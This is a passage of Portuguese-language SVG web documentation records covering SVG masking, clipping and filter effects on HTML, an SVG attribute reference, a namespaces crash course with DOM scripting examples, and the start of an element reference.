funciona.\n\nEntão você pode aplicar três estilos: O uso do `mask`, `clip-path`, ou `filter`.\n\n### Exemplo: Masking\n\nPor exemplo, você pod estabelecer um estilo CSS que provêm uma máscara gradiente para um documento HTML usando código SVG similar ao seguinte:\n\n**Aviso:** **Namespacing não é válido no HTML5**, deixe de lado as tags \"svg:\" para documentos HTML.\n\n\n```html\n<svg height=\"0\">\n  <mask\n id=\"m1\"\n maskUnits=\"objectBoundingBox\"\n maskContentUnits=\"objectBoundingBox\">\n    <linearGradient id=\"g\" gradientUnits=\"objectBoundingBox\" x2=\"0\" y2=\"1\">\n      <stop stop-color=\"white\" offset=\"0\" />\n      <stop stop-color=\"white\" stop-opacity=\"0\" offset=\"1\" />\n    </linearGradient>\n    <circle cx=\"0.25\" cy=\"0.25\" r=\"0.25\" id=\"circle\" fill=\"white\" />\n    <rect x=\"0.5\" y=\"0.2\" width=\"0.5\" height=\"0.8\" fill=\"url(#g)\" />\n  </mask>\n</svg>\n```\n\n\n\n```css\n.target {\n  mask: url(#m1);\n}\np {\n  width: 300px;\n  border: 1px solid #000;\n  display: inline-block;\n  margin: 1em;\n}\n```\n\n\nPreste atenção na linha 1, a máscara é especificada usando um URL para o ID \"#m1\", que é um ID para a máscara SVG específicada abaixo. Todo o que foi especificado detalha mais sobre a máscara de gradiente.\n\nNa realidade aplicar o efeito SVG para XHTML ou HTML é simplesmente feito atribuindo um estilo `target` definido abaixo do elemento, como esse:\n\n\n```html\n<p class=\"target\" style=\"background:lime;\">\n  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\n  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.\n</p>\n\n<p></p>\n<p>\n  Lorem ipsum dolor sit amet, consectetur adipisicing\n  <b class=\"target\"\n >elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b\n >\n  Ut enim ad minim veniam.\n</p>\n```\n\n\nO exemplo acima pode rodar com uma máscara aplicadaa ele.\n\n### Exemplo: Clipping\n\nEsse exemplo demonstra como usar SVG to recortar conteúdo HTML. Esse exemplo demonstra como usar SVG para recortar conteúdo HTML. Quando você ver a demonstração, não irá notar que as áreas quentes para links são recortes.\n\n\n```html\n<p class=\"target\" style=\"background:lime;\">\n  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod\n  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.\n</p>\n\n<p></p>\n<p>\n  Lorem ipsum dolor sit amet, consectetur adipisicing\n  <b class=\"target\"\n >elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b\n >\n  Ut enim ad minim veniam.\n</p>\n<button onclick=\"toggleRadius()\">Toggle radius</button>\n<svg height=\"0\">\n  <clipPath id=\"c1\" clipPathUnits=\"objectBoundingBox\">\n    <circle cx=\"0.25\" cy=\"0.25\" r=\"0.25\" id=\"circle\" />\n    <rect x=\"0.5\" y=\"0.2\" width=\"0.5\" height=\"0.8\" />\n  </clipPath>\n</svg>\n```\n\n\n\n```css\n.target {\n  clip-path: url(#c1);\n}\np {\n  width: 300px;\n  border: 1px solid #000;\n  display: inline-block;\n  margin: 1em;\n}\n```\n\n\nIsso estabelece uma área recortada composta por um círculo e um retângulo, e atribui para ela ID \"#c1\". Isso é então referenciado por um estilo. Quando o estilo `target` é estabelecido desse modo, `clip-path` pode ser atribuido para qualquer outro elemento.\n\n**Nota:** Também você pode fazer mudanças no SVG em tempo real e ver suas alterações imediatamente afetar a renderização do HTML. Por exemplo, você pode redimensionar o círculo dentro do caminho do recorte estabelecendo o seguinte:\n\n\n```js\nfunction toggleRadius() {\n  var circle = document.getElementById(\"circle\");\n  circle.r.baseVal.value = 0.4 - circle.r.baseVal.value;\n}\n```\n\n\nO exemplo inclui um botão que você pode clicar para alterar o caminho do recorte *(clip-path)* e ver as alterações tomando efeito.\n\n### Exemplo: Filtering\n\nEsse exemplo demonstra como você pode aplicar o filtro HTML ao conteúdo usado no SVG. Isso estabelece vários filtros, que podem ser aplicados para uso de estilos que cada um dos três elementos dentro dos estados normal e *mouse hover*.\n\nQualquer filtro SVG pode ser aplicado desse modo. Pode exemplo, para aplicar desfoque Gaussiano, você pode usar:\n\n\n```xml\n<svg:filter id=\"f1\">\n  <svg:feGaussianBlur stdDeviation=\"3\"/>\n</svg:filter>\n```\n\n\nVocê pode também aplicar cor a matriz, como este:\n\n\n```xml\n<svg:filter id=\"f2\">\n  <svg:feColorMatrix values=\"0.3333 0.3333 0.3333 0 0\n 0.3333 0.3333 0.3333 0 0\n 0.3333 0.3333 0.3333 0 0\n 0 0 0 1 0\"/>\n</svg:filter>\n```\n\n\nEsses são só dois dos cinco filtros demonstrados nessa seção. Certifique-se de olhar o conteúdo do código ao final da seção se você quiser ver mais.\n\nOs cinco filtros são aplicados usando o seguinte CSS:\n\n\n```html\n<style>\n p.target {\n filter: url(#f3);\n }\n p.target:hover {\n filter: url(#f5);\n }\n b.target {\n filter: url(#f1);\n }\n b.target:hover {\n filter: url(#f4);\n }\n iframe.target {\n filter: url(#f2);\n }\n iframe.target:hover {\n filter: url(#f3);\n }\n</style>\n```\n\n### Exemplo: Texto Borrado\n\nPara borrar um texto há um webkit baseado dos navegadores com o (prefixo) filtro CSS chamado blur. Você pode arquivar o mesmo efeito usando filtros SVG.\n\n\n```html\n<p class=\"blur\">Time to clean my glasses</p>\n<svg xmlns=\"https://www.w3.org/2000/svg\" version=\"1.1\">\n  <defs>\n    <filter id=\"wherearemyglasses\" x=\"0\" y=\"0\">\n      <feGaussianBlur in=\"SourceGraphic\" stdDeviation=\"1\" />\n    </filter>\n  </defs>\n</svg>\n```\n\n\nVocê pode aplicar o SVG e o filtro CSS na mesma classe:\n\n\n```css\n.blur {\n  filter: url(#wherearemyglasses);\n  /\\* ^ for Firefox \\*/\n  -webkit-filter: blur(1px);\n  /\\* ^ Webkit browsers \\*/\n  filter: blur(1px);\n}\n```\n\n\nBorrar é um efeito pesado, então assegure-se de usá-lo com moderação, especialmente quando há uma rolagem ou animação.\n\nUsando referências externas\n---------------------------\n\nO elemento SVG vem sendo usado para clipping, masking, e mais pode ser carregado de um arquivo externo, contanto que seu documento venha da mesma origem da qual seu HTML está para fazer efeito.\n\nPor exemplo, se seu CSS está em um arquivo com nome `default.css`, esse pode parecer com isso:\n\n\n```css\n.target {\n  clip-path: url(resources.svg#c1);\n}\n```\n\n\nO SVG é importado do arquivo com nome `resources.svg`, usando o clip-path com o ID c1.\n\nVeja também\n-----------\n\n* SVG\n* SVG Effects for HTML Content (blog post)\n* ([archive.org] Web Tech Blog » Blog Archive » SVG External Document References)"}
{"title":"SVG Attribute reference - SVG: Gráficos Vetoriais Escaláveis","text":"SVG Attribute reference\n=======================\n\n« SVG / SVG Element reference »\n\nSVG Attributes\n--------------\n\n### A\n\n* `accent-height (en-US)`\n* `accumulate (en-US)`\n* `additive (en-US)`\n* `alignment-baseline (en-US)`\n* `allowReorder`\n* `alphabetic (en-US)`\n* `amplitude (en-US)`\n* `arabic-form (en-US)`\n* `ascent (en-US)`\n* `attributeName (en-US)`\n* `attributeType (en-US)`\n* `autoReverse`\n* `azimuth (en-US)`\n### B\n\n* `baseFrequency (en-US)`\n* `baseline-shift (en-US)`\n* `baseProfile (en-US)`\n* `bbox (en-US)`\n* `begin (en-US)`\n* `bias (en-US)`\n* `by (en-US)`\n### C\n\n* `calcMode (en-US)`\n* `cap-height (en-US)`\n* `class`\n* `clip (en-US)`\n* `clipPathUnits (en-US)`\n* `clip-path (en-US)`\n* `clip-rule (en-US)`\n* `color (en-US)`\n* `color-interpolation (en-US)`\n* `color-interpolation-filters (en-US)`\n* `color-profile (en-US)`\n* `color-rendering`\n* `contentScriptType`\n* `contentStyleType`\n* `cursor (en-US)`\n* `cx (en-US)`\n* `cy (en-US)`\n### D\n\n* `d (en-US)`\n* `decelerate`\n* `descent (en-US)`\n* `diffuseConstant (en-US)`\n* `direction (en-US)`\n* `display (en-US)`\n* `divisor (en-US)`\n* `dominant-baseline (en-US)`\n* `dur (en-US)`\n* `dx (en-US)`\n* `dy (en-US)`\n### E\n\n* `edgeMode (en-US)`\n* `elevation (en-US)`\n* `enable-background (en-US)`\n* `end (en-US)`\n* `exponent (en-US)`\n* `externalResourcesRequired`\n### F\n\n* `fill`\n* `fill-opacity (en-US)`\n* `fill-rule (en-US)`\n* `filter (en-US)`\n* `filterRes`\n* `filterUnits (en-US)`\n* `flood-color (en-US)`\n* `flood-opacity (en-US)`\n* `font-family (en-US)`\n* `font-size (en-US)`\n* `font-size-adjust (en-US)`\n* `font-stretch (en-US)`\n* `font-style (en-US)`\n* `font-variant (en-US)`\n* `font-weight (en-US)`\n* `format`\n* `from (en-US)`\n* `fx (en-US)`\n* `fy (en-US)`\n### G\n\n* `g1 (en-US)`\n* `g2 (en-US)`\n* `glyph-name (en-US)`\n* `glyph-orientation-horizontal (en-US)`\n* `glyph-orientation-vertical (en-US)`\n* `glyphRef`\n* `gradientTransform (en-US)`\n* `gradientUnits (en-US)`\n### H\n\n* `hanging (en-US)`\n* `height (en-US)`\n* `horiz-adv-x (en-US)`\n* `horiz-origin-x (en-US)`\n### I\n\n* `id (en-US)`\n* `ideographic (en-US)`\n* `image-rendering (en-US)`\n* `in (en-US)`\n* `in2 (en-US)`\n* `intercept (en-US)`\n### K\n\n* `k (en-US)`\n* `k1 (en-US)`\n* `k2 (en-US)`\n* `k3 (en-US)`\n* `k4 (en-US)`\n* `kernelMatrix (en-US)`\n* `kernelUnitLength (en-US)`\n* `kerning (en-US)`\n* `keyPoints (en-US)`\n* `keySplines (en-US)`\n* `keyTimes`\n### L\n\n* `lang (en-US)`\n* `lengthAdjust (en-US)`\n* `letter-spacing (en-US)`\n* `lighting-color (en-US)`\n* `limitingConeAngle (en-US)`\n* `local`\n### M\n\n* `marker-end (en-US)`\n* `marker-mid (en-US)`\n* `marker-start (en-US)`\n* `markerHeight (en-US)`\n* `markerUnits (en-US)`\n* `markerWidth (en-US)`\n* `mask (en-US)`\n* `maskContentUnits (en-US)`\n* `maskUnits (en-US)`\n* `mathematical (en-US)`\n* `max (en-US)`\n* `media (en-US)`\n* `method (en-US)`\n* `min (en-US)`\n* `mode (en-US)`\n### N\n\n* `name (en-US)`\n* `numOctaves (en-US)`\n### O\n\n* `offset`\n* `onabort`\n* `onactivate`\n* `onbegin`\n* `onclick (en-US)`\n* `onend`\n* `onerror`\n* `onfocusin`\n* `onfocusout`\n* `onload`\n* `onmousedown`\n* `onmousemove`\n* `onmouseout`\n* `onmouseover`\n* `onmouseup`\n* `onrepeat`\n* `onresize`\n* `onscroll`\n* `onunload`\n* `onzoom`\n* `opacity (en-US)`\n* `operator (en-US)`\n* `order (en-US)`\n* `orient (en-US)`\n* `orientation (en-US)`\n* `origin (en-US)`\n* `overflow (en-US)`\n* `overline-position (en-US)`\n* `overline-thickness (en-US)`\n### P\n\n* `panose-1 (en-US)`\n* `paint-order (en-US)`\n* `path (en-US)`\n* `pathLength (en-US)`\n* `patternContentUnits (en-US)`\n* `patternTransform (en-US)`\n* `patternUnits (en-US)`\n* `pointer-events (en-US)`\n* `points (en-US)`\n* `pointsAtX (en-US)`\n* `pointsAtY (en-US)`\n* `pointsAtZ (en-US)`\n* `preserveAlpha (en-US)`\n* `preserveAspectRatio`\n* `primitiveUnits (en-US)`\n### R\n\n* `r (en-US)`\n* `radius (en-US)`\n* `refX (en-US)`\n* `refY (en-US)`\n* `rendering-intent`\n* `repeatCount (en-US)`\n* `repeatDur (en-US)`\n* `requiredExtensions`\n* `requiredFeatures (en-US)`\n* `restart (en-US)`\n* `result (en-US)`\n* `rotate (en-US)`\n* `rx (en-US)`\n* `ry (en-US)`\n### S\n\n* `scale (en-US)`\n* `seed (en-US)`\n* `shape-rendering (en-US)`\n* `slope (en-US)`\n* `spacing (en-US)`\n* `specularConstant (en-US)`\n* `specularExponent (en-US)`\n* `speed`\n* `spreadMethod (en-US)`\n* `startOffset (en-US)`\n* `stdDeviation (en-US)`\n* `stemh (en-US)`\n* `stemv (en-US)`\n* `stitchTiles (en-US)`\n* `stop-color (en-US)`\n* `stop-opacity (en-US)`\n* `strikethrough-position (en-US)`\n* `strikethrough-thickness (en-US)`\n* `string (en-US)`\n* `stroke (en-US)`\n* `stroke-dasharray (en-US)`\n* `stroke-dashoffset`\n* `stroke-linecap (en-US)`\n* `stroke-linejoin (en-US)`\n* `stroke-miterlimit (en-US)`\n* `stroke-opacity (en-US)`\n* `stroke-width (en-US)`\n* `style`\n* `surfaceScale (en-US)`\n* `systemLanguage (en-US)`\n### T\n\n* `tableValues (en-US)`\n* `target (en-US)`\n* `targetX (en-US)`\n* `targetY (en-US)`\n* `text-anchor (en-US)`\n* `text-decoration (en-US)`\n* `text-rendering (en-US)`\n* `textLength (en-US)`\n* `to (en-US)`\n* `transform (en-US)`\n* `type (en-US)`\n### U\n\n* `u1 (en-US)`\n* `u2 (en-US)`\n* `underline-position (en-US)`\n* `underline-thickness (en-US)`\n* `unicode (en-US)`\n* `unicode-bidi (en-US)`\n* `unicode-range (en-US)`\n* `units-per-em (en-US)`\n### V\n\n* `v-alphabetic (en-US)`\n* `v-hanging (en-US)`\n* `v-ideographic (en-US)`\n* `v-mathematical (en-US)`\n* `values (en-US)`\n* `version (en-US)`\n* `vert-adv-y (en-US)`\n* `vert-origin-x (en-US)`\n* `vert-origin-y (en-US)`\n* `viewBox (en-US)`\n* `viewTarget`\n* `visibility (en-US)`\n### W\n\n* `width`\n* `widths (en-US)`\n* `word-spacing (en-US)`\n* `writing-mode (en-US)`\n### X\n\n* `x (en-US)`\n* `x-height (en-US)`\n* `x1 (en-US)`\n* `x2 (en-US)`\n* `xChannelSelector (en-US)`\n* `xlink:actuate`\n* `xlink:arcrole (en-US)`\n* `xlink:href (en-US)`\n* `xlink:role`\n* `xlink:show (en-US)`\n* `xlink:title (en-US)`\n* `xlink:type (en-US)`\n* `xml:base (en-US)`\n* `xml:lang (en-US)`\n* `xml:space (en-US)`\n### Y\n\n* `y (en-US)`\n* `y1 (en-US)`\n* `y2 (en-US)`\n* `yChannelSelector (en-US)`\n### Z\n\n* `z (en-US)`\n* `zoomAndPan (en-US)`\nCategories\n----------\n\n### Animation event attributes\n\n`onbegin`, `onend`, `onload`, `onrepeat`### Animation attribute target attributes\n\n`attributeType (en-US)`, `attributeName (en-US)`### Animation timing attributes\n\n`begin (en-US)`, `dur (en-US)`, `end (en-US)`, `min (en-US)`, `max (en-US)`, `restart (en-US)`, `repeatCount (en-US)`, `repeatDur (en-US)`, `fill`### Animation value attributes\n\n`calcMode (en-US)`, `values (en-US)`, `keyTimes`, `keySplines (en-US)`, `from (en-US)`, `to (en-US)`, `by (en-US)`, `autoReverse`, `accelerate`, `decelerate`### Animation addition attributes\n\n`additive (en-US)`, `accumulate (en-US)`### Conditional processing attributes\n\n`requiredExtensions`, `requiredFeatures (en-US)`, `systemLanguage (en-US)`.\n\n### Core attributes\n\n`id (en-US)`, `xml:base (en-US)`, `xml:lang (en-US)`, `xml:space (en-US)`### Document event attributes\n\n`onabort`, `onerror`, `onresize`, `onscroll`, `onunload`, `onzoom`### Filter primitive attributes\n\n`height (en-US)`, `result (en-US)`, `width`, `x (en-US)`, `y (en-US)`### Graphical event attributes\n\n`onactivate`, `onclick (en-US)`, `onfocusin`, `onfocusout`, `onload`, `onmousedown`, `onmousemove`, `onmouseout`, `onmouseover`, `onmouseup`### Presentation attributes\n\n**Nota:** Note that all SVG presentation attributes can be used as CSS properties.\n\n`alignment-baseline (en-US)`, `baseline-shift (en-US)`, `clip (en-US)`, `clip-path (en-US)`, `clip-rule (en-US)`, `color (en-US)`, `color-interpolation (en-US)`, `color-interpolation-filters (en-US)`, `color-profile (en-US)`, `color-rendering`, `cursor (en-US)`, `direction (en-US)`, `display (en-US)`, `dominant-baseline (en-US)`, `enable-background (en-US)`, `fill`, `fill-opacity (en-US)`, `fill-rule (en-US)`, `filter (en-US)`, `flood-color (en-US)`, `flood-opacity (en-US)`, `font-family (en-US)`, `font-size (en-US)`, `font-size-adjust (en-US)`, `font-stretch (en-US)`, `font-style (en-US)`, `font-variant (en-US)`, `font-weight (en-US)`, `glyph-orientation-horizontal (en-US)`, `glyph-orientation-vertical (en-US)`, `image-rendering (en-US)`, `kerning (en-US)`, `letter-spacing (en-US)`, `lighting-color (en-US)`, `marker-end (en-US)`, `marker-mid (en-US)`, `marker-start (en-US)`, `mask (en-US)`, `opacity (en-US)`, `overflow (en-US)`, `pointer-events (en-US)`, `shape-rendering (en-US)`, `stop-color (en-US)`, `stop-opacity (en-US)`, `stroke (en-US)`, `stroke-dasharray (en-US)`, `stroke-dashoffset`, `stroke-linecap (en-US)`, `stroke-linejoin (en-US)`, `stroke-miterlimit (en-US)`, `stroke-opacity (en-US)`, `stroke-width (en-US)`, `text-anchor (en-US)`, `text-decoration (en-US)`, `text-rendering (en-US)`, `unicode-bidi (en-US)`, `visibility (en-US)`, `word-spacing (en-US)`, `writing-mode (en-US)`### Transfer function attributes\n\n`type (en-US)`, `tableValues (en-US)`, `slope (en-US)`, `intercept (en-US)`, `amplitude (en-US)`, `exponent (en-US)`, `offset`### XLink attributes\n\n`xlink:href (en-US)`, `xlink:type (en-US)`, `xlink:role`, `xlink:arcrole (en-US)`, `xlink:title (en-US)`, `xlink:show (en-US)`, `xlink:actuate`"}
{"title":"Intensivo de Namespaces - SVG: Gráficos Vetoriais Escaláveis","text":"Intensivo de Namespaces\n=======================\n\nComo um dialeto XML, o SVG tem *namespace*. É importante entender o conceito de *namespaces* e como eles são usados se você planeja criar seu próprio conteúdo em SVG. Versões de visualizadores SVG prévias ao lançamento do Firefox 1.5 infelizmente deu pouca atenção aos *namespaces* mas eles são essenciais para dialetos multi-XML suportando agentes de usuários como navegadores baseados em Gecko que devem ser muito rigorosos. Tome um tempo para entender *namespaces* agora e irá te privar de muita dor de cabeça no futuro.\n\n### Experiência\n\nTem sido uma longa meta do W3C para fazer possível para diferentes tipos de conteúdo baseado em XML ser misturado no mesmo arquivo XML. Por exemplo, SVG e MathML podem ser incorporados diretamente em um documento cientificamente baseado em XHTML. Ser apto de misturar tipos de conteúdo como este tem muitas vantagens, mas também requeriu problemas reais para serem resolvidos.\n\nNaturalmente, cada dialeto XML define o significado de um nome de tag de marcação descrito em sua especificação. O problema em misturar conteúdo de diferentes dialetos XML em um único documento XML é que as tags definidas por um dialeto podem ter o mesmo nome que as tags definidas por outro. Por exemplo, ambos XHTML e SVG tem uma tag `<title>`. Como o software deveria distinguir entre os dois? Na verdade, como o software conta quando o conteúdo XML é algo que ele conhece sobre, e não somente um arquivo XML sem significado contendo nomes de tags arbitrárias desconhecidas para ele?\n\nContrário à opinição popular, a resposta para esta pergunta não é \"ele pode dizer pela declaração `DOCTYPE`\". DTD's não foram feitos com conteúdo misto levado em consideração, e tentativas passadas de criar DTD's de conteúdo misto são hoje consideradas de terem falhado. O XML, e alguns dialetos XML (incluindo SVG), não requerem uma declaração `DOCTYPE`, e SVG 1.2 nem terá um. O fato que declarações `DOCTYPE` (usualmente) combinam o conteúdo em arquivos de tipo de conteúdo únicos é uma mera coincidência. Os DTDs são somente para validação, não para identificação de conteúdo. Softwared que enganam e identificam conteúdo XML usando sua declaração `DOCTYPE` causam dano.\n\nA resposta real para a pergunta é que um conteúdo XML conta para o software qual dialeto os nomes de tag pertencem ao dar \"declarações de *namespaces*\" para as tags.\n\n### Declarando *namespaces*\n\nO que estas declarações de *namespace* parecem, e onde elas vão? Aqui vai um exemplo curto.\n```\n\n<svg xmlns=\"https://www.w3.org/2000/svg\">\n  <!-- mais tags aqui -->\n</svg>\n```\n\n\nA declaração de *namespace* é fornecida por um atributo `xmlns`. Este atributo diz que a tag `<svg>` e suas tags filhas pertencem a qualquer dialeto XML que tem o nome de *namespace* 'http://www.w3.org/2000/svg' que é, com certeza, SVG. Note a declaração de *namespace* somente precisa ser ser fornecida de uma vez em uma tag raiz. A declaração define o *namespace padrão*, então o software sabe que todas as tags descendentes de tags `<svg>` também pertencem ao mesmo *namespace*. Softwares conferem para ver se eles reconhecem o nome de *namespace* para determinar se eles sabem como lidar com a marcação.\n\nNote que nomes de *namespace* são somente strings, então o fato que o nome de *namespace* SVG também parece com um URI não é importante. URI's são comumente usadas porque eles são únicos, a intenção não é para \"linkar\" em algum lugar. (Na verdade URI's são usadas tão frequentemente que o termo \"URI de *namespace*\" é comumente usado ao invés de \"nome de namespace\".)\n\n#### Redeclarando o *namespace* padrão\n\nSe todos os descendentes da tag raiz também são definidos para estarem presentes no *namespace* padrão, como você mistura conteúdo de outro *namespace*? Fácil. Você apenas redefine o *namespace* padrão. Aqui vai um exemplo simples.\n```\n\n<html xmlns=\"https://www.w3.org/1999/xhtml\">\n  <body>\n    <!-- algumas tags XHTML aqui -->\n    <svg xmlns=\"https://www.w3.org/2000/svg\" width=\"300px\" height=\"200px\">\n      <!-- algumas tags SVG aqui -->\n    </svg>\n    <!-- algumas tags XHTML aqui -->\n  </body>\n</html>\n```\n\n\nNeste exemplo o atributo `xmlns` na tag raíz `<html>` declara o *namespace* padrão para ser XHTML. Como um resultado, ela e todas as tags filhas são interpretadas pelo software como pertencente ao XHTML, exceto para a tag `<svg>`. A tag `<svg>` tem seu próprio atributo `xmlns`, e ao redeclarar o *namespace* padrão, isto conta para o software que a tag `<svg>` e suas descendentes (a menos que elas também redeclarem o *namespace* padrão) pertencem ao SVG.\n\nViu? *Namespaces* não são tão difíceis.\n\n#### Declarando prefixos de *namespaces*\n\nDialetos XML não somente definem suas próprias tags, mas também seus próprios atributos. Por padrão, atributos não tem um *namespace*, e são conhecidos somente por ser únicos porque aparecem em um elemento que por si só tem um nome único. No entanto, algumas vezes é necessário definir atributos para que eles possam ser reusados em diferentes elementos e ainda sim serem considerados como sendo do mesmo atributo, independente do elemento com o qual eles são usados. Um exemplo muito bom disto é o atributo `href` definido pela especificação XLink. Este atributo é usado comumente por outros dialetos XML como um meio de conectar a recursos externos. Mas como você conta para o software qual dialeto o atributo pertence, neste caso XLink? Considere o exemplo seguinte.\n```\n\n<svg xmlns=\"https://www.w3.org/2000/svg\"\n     xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n  <script xlink:href=\"o-script-mais-legal.js\" type=\"text/ecmascript\"/>\n</svg>\n```\n\n\nEste exemplo tem o atributo de aparência bastante incomum `xmlns:xlink`. Como você pode ter adivinhado da primeira parte 'xmlns', esta é outra declaração de *namespace*. Contudo, ao invés de definir o *namespace* padrão, esta declaração de *namespace* define o namespace para alguma coisa chamada como \"prefixo *namespace*\". Neste caso, nós escolhemos usar o prefixo `xlink` (a segunda parte) uma vez que o prefixo será usado para contar ao software sobre os atributos que pertencem ao XLink.\n\nComo seus nomes sugerem, prefixos de *namespace* são usados para prefixar nomes de atributos e nomes de tags. Isto é feito colocando o prefixo de *namespace* e dois pontos antes do nomes de atributo como mostrado na tag `<script>` no exemplo acima. Isto conta para o software que aquele atributo particular pertence ao *namespace* atribuído ao prefixo de *namespace* (XLink), e é um atribuído que pode ser usado com o mesmo significado em outras tags.\n\nNote que é um erro de XML usar um prefixo que não foi ligado au um nome de *namespace*. A ligação criada pelo atributo `xmlns:xlink` no exemplo acima é absolutamente essencial se o atributo `xlink:href` não é para para causar um erro. Este atributo XLink é também frequentemente usado no SVG nas tags `<a>`, `<use>` e `<image>`, dentre outros, então é uma boa idéia sempre incluir a declaração XLink em seus documentos.\n\nAparte, é útil saber que prefixos podem também ser usados para names de tags. Isto conta para o software que aquela tag em particular (não a tag filha) pertence ao *namespace* ligado ao prefixo. Saber disso irá te poupar de confusão se você se deparar com uma marcação como a do exemplo seguinte:\n```\n\n<html xmlns=\"https://www.w3.org/1999/xhtml\"\n      xmlns:svg=\"https://www.w3.org/2000/svg\">\n  <body>\n    <h1>SVG incorporado inline no XHTML</h1>\n    <svg:svg width=\"300px\" height=\"200px\">\n      <svg:circle cx=\"150\" cy=\"100\" r=\"50\" fill=\"#ff0000\"/>\n    </svg:svg>\n  </body>\n</html>\n```\n\n\nNote que pelo prefixo de *namespace* ser usado para a tag `<svg:svg>` e seu filho `<svg:circle>`, não foi necessário redeclarar o *namespace* padrão. Em geral, é melhor redeclarar o *namespace* padrão ao invés de prefixar muitas tags desta forma.\n\n### *Scripting* em XML com *namespaces*\n\n*Namespaces* não afetam somente a marcação, mas também o *scripting*. Se você escreve scripts para XML com *namespace*, como SVG, continue lendo.\n\nA recomendação DOM Level 1 foi criado antes da recomendação *original Namespaces in XML* ser lançada; assim sendo, DOM1 não está ciente de *namespaces*. Isto causa problemas para XML com namespaces, como SVG. Para resolver estes problemas, a recomendação DOM Level 2 Core adicionou equivalentes cientes do *namespace* de todos os métodos aplicáveis do DOM Nível 1. Quando estiver *scripting* em SVG, é *importante usar os métodos cientes de namespace*. A tabela abaixo lista os métodos DOM1 que não devem ser usados em SVG, junto com seus equivalentes em DOM2 que devem ser usados ao invés.\n\n| DOM1 (não use) | DOM2 (use estes!) |\n| --- | --- |\n| createAttribute | createAttributeNS |\n| createElement | createElementNS |\n| getAttributeNode | getAttributeNodeNS |\n| getAttribute | getAttributeNS |\n| getElementsByTagName | getElementsByTagNameNS (também added to Element) |\n| getNamedItem | getNamedItemNS |\n| hasAttribute | hasAttributeNS |\n| removeAttribute | removeAttributeNS |\n| removeNamedItem | removeNamedItemNS |\n| setAttribute | setAttributeNS |\n| setAttributeNode | setAttributeNodeNS |\n| setNamedItem | setNamedItemNS |\n\nO primeiro argumento para todos os métodos cientes de *namespace* em DOM2 devem ser nomes de *namespace* (também conhecidos como *namespace* URI) do elemento ou atributo em questão. Para **elementos** SVG isto é 'http://www.w3.org/2000/svg'. Contudo, note cuidadosamente: as recomendações *Namespaces in XML 1.1* declara que o nome de *namespace* para atributos sem um prefixo não tem um valor. Em outras palavras, states that the *namespace* name for attributes without a prefix does not have a value. In other words, embora os atributos pertencem ao namespace da tag, você não usa o nome de namespace da tag. Em vez disso, **você deve usar nulo como nome de *namespace* para atributos não qualificados(sem prefixos)**. Então, para criar um *elemento* SVG `rect` usando `document.createElementNS()`, você deve escrever:\n\n\n```javascript\ndocument.createElementNS(\"https://www.w3.org/2000/svg\", \"rect\");\n```\n\n\nMas para recuperar o valor de atributo `x` em um elemento SVG `rect`, você deve escrever:\n\n\n```javascript\nrect.getAttributeNS(null, \"x\");\n```\n\n\nNote que isto não é o caso para atributos *com* um prefixo de *namespace* (atributos que não pertencem ao mesmo dialeto XML como a tag). Atributos como o `xlink:href` requerem o nome de *namespace* que foi designado para aquele prefixo (`https://www.w3.org/1999/xlink` para XLink). Consequentemente para pegar o valor do atributo `xlink:href` de um elemento `<a>` em SVG você deveria escrever:\n\n\n```javascript\nelt.getAttributeNS(\"https://www.w3.org/1999/xlink\", \"href\");\n```\n\n\nPara definir atributos que tem um *namespace*, é recomendado (mas não requerido) que você também inclua seus prefixos no segundo argumento para que o DOM possa, depois, ser facilmente convertido depois para XML (se, por exemplo você quer enviá-los de volta para o servidor). Por exemplo:\n\n\n```javascript\nelt.setAttributeNS(\n  \"https://www.w3.org/1999/xlink\",\n  \"xlink:href\",\n  \"otherdoc.svg\",\n);\n```\n\n\nComo um exemplo final, aqui está a demonstração de como você deveria criar um elemento `<image>` dinamicamente usando script:\n\n\n```javascript\nvar SVG\\_NS = \"https://www.w3.org/2000/svg\";\nvar XLink_NS = \"https://www.w3.org/1999/xlink\";\nvar image = document.createElementNS(SVG\\_NS, \"image\");\nimage.setAttributeNS(null, \"width\", \"100\");\nimage.setAttributeNS(null, \"height\", \"100\");\nimage.setAttributeNS(XLink_NS, \"xlink:href\", \"flower.png\");\n```\n\n### Conclusão\n\nTenha certeza que você sempre declara os *namespaces* que você usa em seus arquivos XML. Se você não usar, softwares como Firefox não reconhecerão seus conteúdos e irão simplesmente mostrar a marcação XML ou informar o usuário que há um erro no XML. É uma boa idéia usar um template que inclui todas as declarações de *namespace* comumente usadas ao criar novos arquivos SVG. Se você não tem um ainda, faça um começando com o seguinte código:\n```\n\n<svg xmlns=\"https://www.w3.org/2000/svg\"\n     xmlns:xlink=\"https://www.w3.org/1999/xlink\">\n</svg>\n```\n\n\nMesmo que você não use todos aqueles *namespaces* em um documento, não há dano ao incluir declarações de *namespace*. Isto pode te privar de alguns erros irritantes se você acabar adicionando conteúdo de um dos *namespaces* não usados em datas posteriores.\n\n### Um exemplo completo\n\nPara um exemplo completo, veja *SVG: Namespaces Crash Course: Example (en-US)*."}
{"title":"Referência de elementos SVG - SVG: Gráficos Vetoriais Escaláveis","text":"Referência de elementos SVG\n===========================\n\n« SVG / SVG Attribute reference »\n\nOs desenhos e imagens SVG são criados usando uma grande variedade de elementos dedicados a construção, desenho e leiaute de imagens e diagramas vetoriais. Aqui você encontrará documentação de referência para cada um dos elementos SVG.\n\nElementos SVG de A a Z\n----------------------\n\n### A\n\n* `<a>`\n* `<animate>`\n* `<animateMotion>`\n* `<animateTransform>`\n### C\n\n* `<circle>`\n* `<clipPath>` (en-US)\n* `<color-profile>`\n### D\n\n* `<defs>`\n* `<desc>`\n* `<discard>`\n### E\n\n* `<ellipse>`\n### F\n\n* `<feBlend>` (en-US)\n* `<feColorMatrix>` (en-US)\n* `<feComponentTransfer>` (en-US)\n* `<feComposite>` (en-US)\n* `<feConvolveMatrix>` (en-US)\n* `<feDiffuseLighting>` (en-US)\n* `<feDisplacementMap>` (en-US)\n* `<feDistantLight>` (en-US)\n* `<feFlood>` (en-US)\n* `<feFuncA>` (en-US)\n* `<feFuncB>` (en-US)\n* `<feFuncG>` (en-US)\n* `<feFuncR>` (en-US)\n* `<feGaussianBlur>` (en-US)\n* `<feImage>` (en-US)\n* `<feMerge>` (en-US)\n* 